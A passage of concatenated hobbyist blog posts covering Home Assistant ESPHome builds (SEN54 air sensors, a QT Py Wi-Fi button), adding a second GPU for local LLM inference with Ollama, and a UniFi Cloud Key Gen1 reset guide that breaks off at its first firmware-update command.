sensor build which has completely eliminated the soldering. It’s plug and play using ESPHome and Home Assistant. I did this using the Adafruit QT Py module which has a built-in connector for connecting to a I2C (Stemma QT) device like the Grove SEN54 environmental sensor. In addition to eliminating any soldering this also saved me money by not having to buy an expansion board. Today I’ll show you the updated build for my air quality sensor setup I’ll be using throughout my home. Let’s get started! Table of Contents Toggle Hardware UsedOverviewAdding ESPHome to Home AssistantConfiguring ESPHomeEditing YAML ConfigurationInstall Configuration to DeviceAdding Device to Home AssistantAdding Sensor to YAML ConfigurationConfigured ResultConclusionOther Resources Hardware Used Adafruit QT Py The Adafruit QT Py ESP32-C3 is an incredibly tiny board that has WiFi/Bluetooth capabilities and is powered through USB-C Links: Adafruit.com, Amazon.com* Grove SEN54 Unit The Seeed Studios SEN54 All-in-one Environmental Sensor includes measurements for particles of PM1.0/2.5/4/10, temperature and humidity and VOC (volatile organic compounds). Links: AliExpress*, SeeedStudios.com Overview This updated build only consists of these two parts: QT Py + Grove SEN54 We simply have the QT Py and the Grove All-in-one environmental sensor from Seeed Studio. We also have a Stemma QT to Grove cable to connect the two. All you need besides these two components is Home Assistant and ESPHome. This is a plug-and-play setup! Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your QT Py to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. Click “New Device” in the bottom right hand menu. Follow the menus to add the device into your ESPHome instance. Editing YAML Configuration Click “Edit” on the new sensor/device you created. We are going to change the esphome and esp32 sections to this: esphome: name: sensors-garage platformio_options: board_build.flash_mode: dio friendly_name: sensors-garage esp32: board: adafruit_qtpy_esp32c3 variant: esp32c3 framework: type: esp-idf Note that YAML is very sensitive to spacing. The editor will underline errors in red for you which definitely helps to spot them as long as you’re watching for them. While we are in here you should save your encryption key to your clipboard or keep it handy for reference. We are going to need it in the step to add the device to Home Assistant later. Install Configuration to Device Finally you can begin programming the device. Click to “Install”. Select the device type and your USB device again and with any luck: ESPHome – Successful Configuration Flash Above you can see it connected to my WiFi point and that everything ran successfully. That is without ever programming the ESP32. ESPHome did all of the programming for us! Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. Adding Sensor to YAML Configuration Here’s the full configuration I used for the sensor: esphome: name: sensors-garage platformio_options: board_build.flash_mode: dio friendly_name: sensors-garage esp32: board: adafruit_qtpy_esp32c3 variant: esp32c3 framework: type: esp-idf # Enable logging logger: # Enable Home Assistant API api: encryption: key: "XXX" ota: password: "XXX" wifi: ssid: !secret wifi_ssid password: !secret wifi_password domain: .jamesachambers.net power_save_mode: none i2c: sda: 5 scl: 6 sensor: - platform: sen5x id: sen54 pm_1_0: name: " PM <1µm Weight concentration" id: pm_1_0 accuracy_decimals: 1 pm_2_5: name: " PM <2.5µm Weight concentration" id: pm_2_5 accuracy_decimals: 1 pm_4_0: name: " PM <4µm Weight concentration" id: pm_4_0 accuracy_decimals: 1 pm_10_0: name: " PM <10µm Weight concentration" id: pm_10_0 accuracy_decimals: 1 temperature: name: "Temperature" accuracy_decimals: 1 humidity: name: "Humidity" accuracy_decimals: 0 voc: name: "VOC" algorithm_tuning: index_offset: 100 learning_time_offset_hours: 12 learning_time_gain_hours: 12 gating_max_duration_minutes: 180 std_initial: 50 gain_factor: 230 temperature_compensation: offset: 0 normalized_offset_slope: 0 time_constant: 0 acceleration_mode: low store_baseline: true address: 0x69 update_interval: 10s Save and install the configuration to the device. Configured Result Now you should have a new entity within Home Assistant that looks like this: Home Assistant QT Py SEN54 Air Sensors I put them in my garage here: QT Py + Grove SEN54 Deployed You can see I put a little mount for the sensor unit to sit on and faced the inlet and outlets away from the wall. This is so I’m getting good airflow and accurate readings. The other equipment in the picture is my whole house outdoor RGB lighting as well as my sprinkler box. The plug is a Z-Wave enabled smart plug with power monitoring features. QT Py + Grove SEN54 – Deployment (Closeup) Conclusion This is the design I will be using for all of my environmental sensors from now on. Although the soldering isn’t a big deal for me now that I have the Pinecil there’s no question that plug-and-play is a much nicer way to work with these. You also save money by not having to buy the expansion board. This will be a much easier way to get started with these as a beginner. If you already have Home Assistant (and bonus points for already having ESPHome) everything will be configured within there. Even the flashing is done by ESPHome within Home Assistant. It really is as easy as I’ve made it look here. I highly recommend the open source hardware and software solution for sensors. You don’t need proprietary units for these to have to avoid soldering. There are good ways to do this using a cheap <$10 ESP32 module without making any compromises! Other Resources You can see my old guide using a Seeed XAIO chip + expansion board to accomplish the same thing here I’ve also covered using Z-Wave door and window sensors within Home Assistant here I’ve covered a similar Z-Wave smart plug to what the USB cable is plugged into in the pictures above here See here for all of my articles related to Home Assistant #### Home Assistant Grove All-in-one Environmental Sensor Guide Home Assistant SEN54 via ESPHome I’ve been building out various sensor arrays for use with Home Assistant in my home using ESP32 modules and ESPHome and it has been working really well. One challenge though is that you have a limited number of connections (even when using expansion boards). This can be dealt with a few different ways but buying a whole bunch of individual sensor boards one at a time and connecting them can get messy to say the least. Fortunately Seeed Studios has a unit powered by Sensirion that has 7 environmental sensors all in one: the SEN54! This includes measurements for particles of PM1.0/2.5/4/10, temperature and humidity and VOC (volatile organic compounds). All in one unit with a single connection. In this guide I’ll show what adding a sensor like this to Home Assistant looks like using ESPHome and a ESP32-C3 module. Let’s get started! Table of Contents Toggle Hardware UsedOverviewAdding ESPHome to Home AssistantConfiguring ESPHomeEditing YAML ConfigurationInstall Configuration to DeviceAdding Device to Home AssistantAdding Sensors to YAML ConfigurationFinal ResultConclusionOther Resources Hardware Used Grove SEN54 Unit The Seeed Studios SEN54 All-in-one Environmental Sensor includes measurements for particles of PM1.0/2.5/4/10, temperature and humidity and VOC (volatile organic compounds). Links: AliExpress*, SeeedStudios.com Seeed Studios XAIO-ESP32-C3 The Seeed Studios XAIO-ESP32-C3 is a microcontroller board that uses the RISC-V architecture. It has Bluetooth and WiFi capabilities and includes an external antenna. Links: Amazon.com*, AliExpress*, *Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Seeed Studios Grove Expansion Shield The Seeed Studios XAIO series Grove expansion board gives you a lot of ports to connect Grove sensors and other devices to your XAIO device Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Seeed Studios XAIO Expansion Board The Seeed Studios XAIO Expansion board has a screen and several expandable connectors. It also features a battery connector. Works with Adafruit QT Py boards as well. Links: Amazon.com*, AliExpress* Overview This solution has a few different components to them. Let’s go over them now briefly. First we have the SEN54 unit itself: Grove SEN54 Unit I included the micro SD card to give a better sense of scale. All of the sensors are housed inside this unit. You can see a inlet and outlet for airflow as there is an active fan in the unit to help circulate the air for the most accurate readings. Next I’m using the XAIO ESP32-C3 module. This is a tiny module that has built in WiFi/Bluetooth and will communicate the sensor data to our home assistant instance. That looks like this: Seeed Studios XAIO Series w/ Expansion Boards The XAIO module can be purchased pre-soldered but it’s pretty easy to solder to the pins. It’s the board on the far right of the above picture. I also have covered a solderless version of this same setup using a Adafruit QT Py here. The two boards on the left hand side are two different expansion board options. Both of them will work perfectly for a project like this. It’s particularly easy to attach a battery to the lower expansion board My complete hardware setup for this guide looks like this: Grove SEN54 Complete Setup Here you can see my backup battery attached. My WiFi and most of my network continues to function for a few hours during a power outage due to having battery backups (and using PoE for the access points). The sensor unit will continue to function during a power outage with this battery attached. The XAIO expansion board has the battery charging circuit that handles this all for us. All we have to do is connected it all together and it’s good to go! The unit is actually portable with the battery as well. If you wanted to take measurements in a specific area that would absolutely work. It would wirelessly transmit the measurements to Home Assistant and display them as you move around with the device. Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your XAIO-ESP32-C3 to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. For this guide I didn’t have HTTPS enabled and chose to connect it directly to the Tinker Board running Home Assistant for this step. Click to add a new device. The first step will ask you for a configuration name and your wireless network SSID and password. Enter that and it will take you to the step to select your device type: ESPHome Configuration – Select Device Type Select ESP32-C3 if you are using the same device as me. It’s fine if you are using another type and are using this guide to follow along. It will ask you how you want to connect the device to the computer for the first time and give you an encryption key. I recommend using the “Connect to the server running Home Assistant with USB” option. It will then have you select your device. Mine showed up as a USB serial debug device on /dev/ttyACM0. Once you select next it will give you the option to start the configuration or to skip. Choose skip. We are going to edit the configuration manually first. Editing YAML Configuration Click “Edit” on the new sensor/device you created. We are going to change the esphome and esp32 sections to this: esphome: name: sensors-office platformio_options: board_build.flash_mode: dio esp32: board: seeed_xiao_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.5 platform_version: 5.3.0 logger: baud_rate: 0 This is as per the Seeed Studios wiki page for Home Assistant integration. Note that YAML is very sensitive to spacing. The editor will underline errors in red for you which definitely helps to spot them as long as you’re watching for them. While we are in here you should save your encryption key to your clipboard or keep it handy for reference. We are going to need it in the step to add the device to Home Assistant later. Install Configuration to Device Finally you can begin programming the device. Click to “Install”. Select the device type and your USB device again and with any luck: ESPHome – Successful Configuration Flash Above you can see it connected to my WiFi point and that everything ran successfully. That is without ever programming the ESP32. ESPHome did all of the programming for us! Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. You won’t be able to see any sensors yet though. We are going to add those next. Adding Sensors to YAML Configuration To my surprise when I googled what the YAML configuration for this device would be I found an official Home Assistant resource here that has all of the YAML for us. If we integrate that into the changes we made earlier the final configuration looks like this: esphome: name: sensors-office platformio_options: board_build.flash_mode: dio friendly_name: sensors-office esp32: board: seeed_xiao_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.5 platform_version: 5.3.0 # Enable logging logger: baud_rate: 0 # Enable Home Assistant API api: encryption: key: "XXX" ota: password: "XXX" wifi: ssid: !secret wifi_ssid password: !secret wifi_password power_save_mode: none i2c: sda: 6 scl: 7 sensor: - platform: sen5x id: sen54 pm_1_0: name: " PM <1µm Weight concentration" id: pm_1_0 accuracy_decimals: 1 pm_2_5: name: " PM <2.5µm Weight concentration" id: pm_2_5 accuracy_decimals: 1 pm_4_0: name: " PM <4µm Weight concentration" id: pm_4_0 accuracy_decimals: 1 pm_10_0: name: " PM <10µm Weight concentration" id: pm_10_0 accuracy_decimals: 1 temperature: name: "Temperature" accuracy_decimals: 1 humidity: name: "Humidity" accuracy_decimals: 0 voc: name: "VOC" algorithm_tuning: index_offset: 100 learning_time_offset_hours: 12 learning_time_gain_hours: 12 gating_max_duration_minutes: 180 std_initial: 50 gain_factor: 230 temperature_compensation: offset: 0 normalized_offset_slope: 0 time_constant: 0 acceleration_mode: low store_baseline: true address: 0x69 update_interval: 10s You can see we actually have some configurable options here such as the update_interval. You can configure these if you wish but these are the suggested defaults from Home Assistant. Final Result Home Assistant SEN54 via ESPHome You can see it really starting to come together here. On the right hand side we have the new SEN54 sensors! On the left hand side you can see my basement sensors I installed in this guide here. You can also see the lights starting to populate for my rooms as I get them installed and configured. Those are the Kauf smart lights I’ve covered here. Conclusion I’m really happy with the SEN54 unit and I ordered a couple more to use throughout the house. They just make things a lot easier. A single connection got all of that data in one self-contained unit. The cost is $49 so it’s pretty inexpensive relatively speaking vs. buying all of those sensors yourself. Just the dust sensor is pretty expensive alone. I should also mention there is a SEN55 unit that also measures NOx (nitrous oxide). I have not seen this version in stock for the past month or so I’ve been investigating these. I just wanted to mention it’s out there. I’d like to get one for the garage eventually that has that extra sensor when it’s in stock. I’m definitely not finished with my build and will be adding more sensors and writing more guides as that happens! I still have door and window sensors to do as well as remotely controlling opening/closing the garage door. I’ll also cover some of my other integrations I haven’t talked about such as my solar panels (Enphase) and Sense energy monitoring systems. Stay tuned! Other Resources I have made a solderless version of this same sensor here using the Adafruit QT Py You can see my guide on the Kauf smart lights I’m using with Home Assistant here Don’t miss my other sensors guide using the ESP32-C3 here I’ve also covered the K1100 sensor prototyping kit here All of my Home Assistant related articles are here #### Home Assistant Tiny WiFi Button Guide ft. Adafruit QT Py Adafruit Tiny Home Assistant WiFi Button I’ve been documenting my journey building out my smart home powered by Home Assistant here on the site. Home Assistant is an open-source system designed to let you easily manage and automate everything in your home. That’s when I saw that Adafruit’s QT Py series of boards had a tiny IoT button available for it I immediately thought of Home Assistant. The button could be used to automate anything in your home you’d like. You could program it to turn off / turn on lights, open/close the garage door for you, turn on and off certain appliances or anything else you could imagine being able to do with a wireless-enabled button. In this guide I’ll show you how to build and program a wireless button with Home Assistant. Let’s get started! Table of Contents Toggle Hardware UsedOverviewAdding ESPHome to Home AssistantConfiguring ESPHomeEditing YAML ConfigurationInstall Configuration to DeviceAdding Device to Home AssistantAdding Button to YAML ConfigurationConfigured ResultButton AutomationConclusionOther Resources Hardware Used Adafruit QT Py The Adafruit QT Py ESP32-C3 is an incredibly tiny board that has WiFi/Bluetooth capabilities and is powered through USB-C Links: Adafruit.com, Amazon.com* Adafruit IoT Button The Adafruit IoT button attaches to the QT Py to make an incredibly tiny IoT button package Links: Adafruit.com, Amazon.com* Overview We have two main components making up this button. The first is the Adafruit QT Py: Adafruit QT Py This is the brains of the operation including our processing and communications. We have two buttons on the top for resetting the device and putting it into boot loader mode. There’s also a Stemma connector (a 4 pin I2C) on the top of the board for additional expandability. Here’s the bottom side of the board: Adafruit QT Py – Bottom View The second part is the button itself. Here’s a look: Adafruit IoT Button And the bottom view: Adafruit IoT Button – Bottom View You can see I used socketed headers on the button. This allows you to plug and unplug things and is a much less permanent solution than soldering them together. That’s pretty much all that makes up this entire solution. Now let’s get it set up within Home Assistant! Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your QT Py to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. Click “New Device” in the bottom right hand menu. Follow the menus to add the device into your ESPHome instance. Editing YAML Configuration Click “Edit” on the new sensor/device you created. We are going to change the esp32 section to this: esp32: board: adafruit_qtpy_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.6 platform_version: 5.2.0 Note that YAML is very sensitive to spacing. The editor will underline errors in red for you which definitely helps to spot them as long as you’re watching for them. While we are in here you should save your encryption key to your clipboard or keep it handy for reference. We are going to need it in the step to add the device to Home Assistant later. Install Configuration to Device Finally you can begin programming the device. Click to “Install”. Select the device type and your USB device again and with any luck: ESPHome – Successful Configuration Flash Above you can see it connected to my WiFi point and that everything ran successfully. That is without ever programming the ESP32. ESPHome did all of the programming for us! Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. Adding Button to YAML Configuration Now we need to add the button to Home Assistant so we can create automations around it to control our devices. I wanted to get both NeoPixels working and available as entities within Home Assistant. Here’s the configuration I used: esphome: name: adafruit-button friendly_name: adafruit-button platformio_options: board_build.flash_mode: dio esp32: board: adafruit_qtpy_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.7 platform_version: 5.2.0 light: - platform: neopixelbus type: GRB variant: WS2812 pin: GPIO2 method: type: esp32_rmt channel: 0 num_leds: 1 name: "QT Py NeoPixel" restore_mode: RESTORE_AND_ON - platform: neopixelbus type: GRBW variant: SK6812 pin: GPIO0 method: type: esp32_rmt channel: 1 num_leds: 1 name: "Button NeoPixel" restore_mode: RESTORE_AND_ON binary_sensor: - platform: gpio pin: number: GPIO1 mode: INPUT_PULLUP name: "Button" device_class: window # Enable logging logger: baud_rate: 0 deassert_rts_dtr: true # Enable Home Assistant API api: encryption: key: "XXXX" ota: password: "XXXX" wifi: ssid: !secret wifi_ssid password: !secret wifi_password domain: .jamesachambers.net power_save_mode: none Save and install the configuration to the device. Configured Result Now you should have the entity available within Home Assistant like this: Home Assistant ESPHome Adafruit Button You can see the “Adafruit Button” section on the right hand side of the screen. You can also control both NeoPixels (RGB LEDs) on the button as well as the QT Py itself. Clicking on the light will let you set the brightness and the RGB. The button is showing as “open”. Each time the button is pressed it generates an event in Home Assistant’s history like this: Home Assistant History – Adafruit Button Now that we’ve completed configuration it’s time to make the button actually do something with automation! Button Automation First head to the Settings menu and then choose “Automations and Scenes”: Home Assistant – Automations and Scenes Now click “Create Automation” in the bottom right hand of your screen. On the menu that pops up choose “Start with an empty automation”. You will be taken to a screen with triggers, conditions and actions. Setup your automation like this: Home Assistant – Automation Configuration for IoT Button Simply press the + sign to add a trigger for your button being pressed (the closed status in my configuration). You can add addition conditions if you’d like in the middle section. I left mine blank. Now in the final actions tab you’ll have a whole bunch of choices on what to do. There are countless options. You can basically do any action available to you within Home Assistant. It’s all configured via the GUI. I didn’t use YAML at all for this part of the configuration. In the above example simply pressing my button will make my Braava Jet (it’s a Roomba that mops) go and mop the floors. That’s pretty much it! Once you’ve set up the action go ahead and press your new WiFi IoT button to trigger it! You may also add additional actions such as changing the LEDs/NeoPixels to a certain color Conclusion The Adafruit IoT button is currently out of stock at time of writing but it wasn’t a few weeks ago. It’s not surprising considering how tiny the end device ends up being. The QT Py + IoT button make the smallest WiFi button package I’ve seen available. It’s quite cheap to build too as the QT Py itself is only about $10 and the IoT button is $3.50. There’s a few different ways you could go about adding battery functionality. The easiest and safest way is probably just to use a very small USB-C power bank. You could also add a rechargeable circuit to the design. This is something I will explore and document later. I haven’t added my garage door into Home Assistant but I definitely plan on making a garage door opener system with a wireless button. It will use the NeoPixels to indicate green when the garage door is closed and then the NeoPixel lights will update to turn red when it’s not closed. That way it’s serving a dual purpose of both letting me know whether it’s open or closed via a simple LED but it will allow me to instantly take care of it from my desk with a push button right next to my indicator light. I’d definitely recommend it for anyone who is comfortable soldering the headers. It’s also possible to solder the boards back to back to make it an even smaller button. I used a socketed header on mine so that I can easily prototype and move things around. These are available on Adafruit’s site as well (check their listing and they link to it in there). Other Resources I’ve also implemented a 7-in-one air sensor into Home Assistant in this article You can see my guide on the Kauf smart lights I’m using with Home Assistant here Don’t miss my other sensors guide using the ESP32-C3 here I’ve also covered the K1100 sensor prototyping kit here All of my Home Assistant related articles are here #### How I Added a Second GPU to Run Qwen3.6-27B in 64K Context Fully in VRAM Adding a Second GPU for Qwen3.6-27B 64K Context in VRAM One of the things I’ve been trying to optimize lately is running larger local models with higher context windows without spilling over into system RAM. I’ve been running Ollama with Qwen3.6-27B on my NVIDIA 3090, which has 24GB of VRAM. It works great, but once I started pushing the context window above 32K, I started getting a pretty nasty split between CPU and GPU memory. It worked, but it was noticeably slower. As anyone running local models knows, once you leave pure VRAM and start involving system RAM, performance drops fast. It’s usable, but it’s definitely not what you want (especially for coding, agent workflows, or anything with a lot of long-running context). I wanted to stay fully in VRAM. The problem is that in 2026, GPU prices are still absolutely ridiculous. I was complaining about that to my wife and explaining that I really didn’t want to do a full upgrade right now when she asked a very good question: “Can’t you just use your old GPU from your old computer and combine it with this one?” Honestly, that was such a good suggestion I was annoyed I hadn’t thought of it first. Table of Contents Toggle Can You Use an Old GPU for LLM Inference?Will Two GPUs Fit Side by Side in a Workstation?What’s the Best Way to Add a Second GPU?How Do You Run Qwen3.6-27B with a 64K Context Window in Ollama?How Do You Verify Ollama Is Using 100% GPU?How Do You Confirm the Model Is Split Across Both GPUs?What Performance Improvement Did I Get?Is Adding a Second GPU Worth It in 2026?Final ThoughtsCan I use multiple GPUs to run large LLMs like Qwen3.6-27B?Do I need an expensive GPU riser cable for adding a second GPU?Why is running LLMs fully in VRAM better than CPU offloading? Can You Use an Old GPU for LLM Inference? Yes, provided it still supports CUDA compute, absolutely. Not every older card is going to be useful here, but mine happened to be an NVIDIA 2080 Ti sitting in my old machine. That’s still a very capable CUDA card and perfectly usable for model inference. That meant I could combine: NVIDIA 3090 (24GB VRAM) NVIDIA 2080 Ti (11GB VRAM) for a total of roughly 35GB of usable VRAM for model loading. That’s enough to do some really nice things with Qwen3.6-27B. Fantastic! Will Two GPUs Fit Side by Side in a Workstation? That depends on your case. With GPUs this large probably not. Let me explain. I pulled the 2080 Ti out of my old machine and installed it into my Threadripper workstation (TRX40 platform) that I built a few years ago. The result looked absolutely beautiful: Second GPU Installed (No Riser) It also would not work at all. There was nowhere near enough clearance between the GPUs: Very Small Gap Between GPUs (too small in fact) Since I had to move my primary GPU upward, it ended up so close to the CPU heatsink that it was basically touching it (and definitely close enough to turn both components into little space heaters radiating into each other). Even on a full-size TRX40 motherboard, this was a problem. If you’re planning to do this, don’t assume your board has enough room just because it’s physically large. It probably doesn’t. I actually tried running it in this configuration and it was exactly what you would expect. My 3090s temperature immediately went to 86C and the fans kicked on at high speed. They were not able to draw enough air through this gap though to keep it cool. The temperature stayed maxed at 86-87C until the AI finished thinking. What’s the Best Way to Add a Second GPU? Use a GPU riser cable: Thermaltake GPU Riser (long)* That ended up being the real solution. I remembered I had an old PCIe GPU riser cable downstairs, and that saved the whole project. Honestly, this is what I’d recommend for almost everyone trying this. Even with a large motherboard, running two large GPUs side by side is usually a terrible idea for: thermals airflow physical clearance sanity With the riser cable installed, it looked a little ridiculous… Second GPU Installed (With Riser) …but it worked perfectly. Despite looking not to great to have your GPU sitting on the ground it’s honestly fine. This is an open frame build so it’s not like any of the other components have been protected by a case either this whole time. Airflow was excellent, thermals were good, and most importantly, I could finally load the model fully into VRAM. That’s the part that matters. How Do You Run Qwen3.6-27B with a 64K Context Window in Ollama? I created a file called Modelfile with the following contents: FROM qwen3.6:27b PARAMETER num_ctx 65536 Then I created the model with: ollama create qwen3.6-64k-27b -f Modelfile That’s it. Now I can run a dedicated 64K version of the model without changing settings every time. Simple and clean. How Do You Verify Ollama Is Using 100% GPU? This is the first thing I checked. Running: ollama ps showed exactly what I wanted to see: NAME ID SIZE PROCESSOR CONTEXT qwen3.6-64k-27b:latest 47a19f2a6044 28 GB 100% GPU 65536 That “100% GPU” line is what you are looking for. That means no CPU spillover. Just pure VRAM. Perfect. How Do You Confirm the Model Is Split Across Both GPUs? Easy. Use: nvidia-smi Checking GPU RAM usage with nvidia-smi This showed: RTX 3090 using ~20.9GB RTX 2080 Ti using ~8.7GB with Ollama split across both cards exactly like it should. That’s basically ideal. It put the bulk of the load on the 3090 while using the 2080 Ti to provide the extra VRAM needed to keep the full 64K context entirely on GPU. That’s exactly what I was hoping for. Oh yeah. That definitely worked! What Performance Improvement Did I Get? This is the part everyone actually cares about. I tested using: ollama run qwen3.6-64k-27b --verbose The --verbose flag gives performance stats like this: Ollama – Testing TPS total duration: 22.089894954s load duration: 198.284679ms prompt eval count: 12 token(s) prompt eval duration: 108.091449ms prompt eval rate: 111.02 tokens/s eval count: 641 token(s) eval duration: 21.396915962s eval rate: 29.96 tokens/s That puts me at basically 30 TPS. That’s excellent. Especially considering this is with a full 64K context window. That larger context makes a real difference for: coding agents longer tasks complex reasoning not having the AI forget what it was doing five minutes ago You notice it immediately. It’s one of those upgrades that feels obvious the second you have it. Is Adding a Second GPU Worth It in 2026? Honestly, yes. Especially right now. Hardware prices are still terrible. If you already have older CUDA-capable hardware (or ROCm capable AMD GPU) sitting around, this is one of the best upgrades you can make. A used card you already own is infinitely cheaper than buying a new flagship GPU at 2026 pricing. If you have something like: 2080 Ti 3080 older Titan cards AMD ROCm capable GPUs older workstation GPUs basically anything CUDA or ROCm capable with decent VRAM …it may be worth trying before spending a fortune on new hardware. Especially if all you need is “just enough extra VRAM” to stay fully on GPU. That’s exactly where this shines. Final Thoughts Sometimes the best upgrade isn’t buying new hardware. Sometimes it’s listening to your wife. Adding my old 2080 Ti with a riser cable let me push Qwen3.6-27B to 64K context fully in VRAM, stay at nearly 30 TPS, and avoid spending absurd money on a new GPU during one of the worst hardware markets in years. Is it ugly sitting on the floor? Not at all when I think about how much money I saved vs. trying to buy *any* hardware in 2026. If you’ve got older hardware sitting around, it might be time to go dig through the closet! Can I use multiple GPUs to run large LLMs like Qwen3.6-27B?Yes, you can add a second GPU (even an older model like an RTX 2080 Ti) to share the VRAM load. This allows you to run large models entirely in VRAM without falling back to slower system RAM, significantly boosting tokens per second (TPS).Do I need an expensive GPU riser cable for adding a second GPU?Standard PCIe riser cables work fine, but ensure your power supply has enough PCIe connectors and sufficient wattage to handle both cards under full AI inference load. Cable length and bandwidth limitations shouldn’t be an issue for VRAM splitting.Why is running LLMs fully in VRAM better than CPU offloading?VRAM bandwidth is drastically higher than DDR4/DDR5 RAM. Keeping the model entirely in GPU memory prevents data transfer bottlenecks, resulting in much faster generation speeds (e.g., jumping from <5 TPS to 30+ TPS). #### How to Reset and Update a UniFi Cloud Key Gen1 (Complete Guide) Unifi Cloud Key Gen1 Update Guide If you manage older UniFi environments, you’ve probably run into a frustrating issue: legacy Cloud Key Gen1 devices that are too outdated to connect to the UniFi Portal. This can leave you completely blind when trying to manage a client’s network. After working with many of these devices in production environments, here’s a practical, step-by-step guide to resetting and updating a UniFi Cloud Key Gen1 so it can be brought back into a manageable state. Table of Contents Toggle Before You StartStep 1: Attempt Access via SSHStep 2: If You Don’t Have SSH AccessStep 3: If the Device Is Completely BrokenStep 4: Update the Firmware via SSHWhat this does:Step 5: Wait for InstallationStep 6: Verify the UpgradeStep 7: Reconnect to UniFi PortalFinal ThoughtsQuick SummaryHow do I factory reset a UniFi Cloud Key Gen1?What are the default SSH credentials after a reset?What is the final supported firmware version for Cloud Key Gen1? Before You Start If possible, replace the Cloud Key Gen1 with a newer model (preferably one with SSD storage). The older HDD-based units are prone to failure and performance issues. Here is the one I recommend (UCK-G2-SSD): Unifi Cloud Key Gen2 Plus SSD Model (UCK-G2-SSD)* If upgrading isn’t an option, proceed with the steps below. Step 1: Attempt Access via SSH To update the device, you’ll need SSH access. Use an SSH client (like PuTTY or Terminal) Connect to the Cloud Key’s IP address Default credentials (after reset): username: root password: ubnt If you still have the original credentials, use those instead. Step 2: If You Don’t Have SSH Access If the root password is unknown: Log into the UniFi web console (if accessible) Export the current configuration: Go to Settings → System → Backup Download a backup file Perform a factory reset on the Cloud Key: Hold the reset button until the device reboot Unifi Cloud Key Gen1 – Reset Button Location After reset, SSH credentials will revert to: root / ubnt Step 3: If the Device Is Completely Broken Some Cloud Keys fail due to: Full internal storage Corrupted system state Symptoms: SSH login fails even with correct credentials Web UI is unresponsive or inaccessible Solution: Export config (if possible) Perform a full factory reset Reconfigure from backup after recovery Step 4: Update the Firmware via SSH Once you’ve successfully logged in via SSH, run the following commands: wget 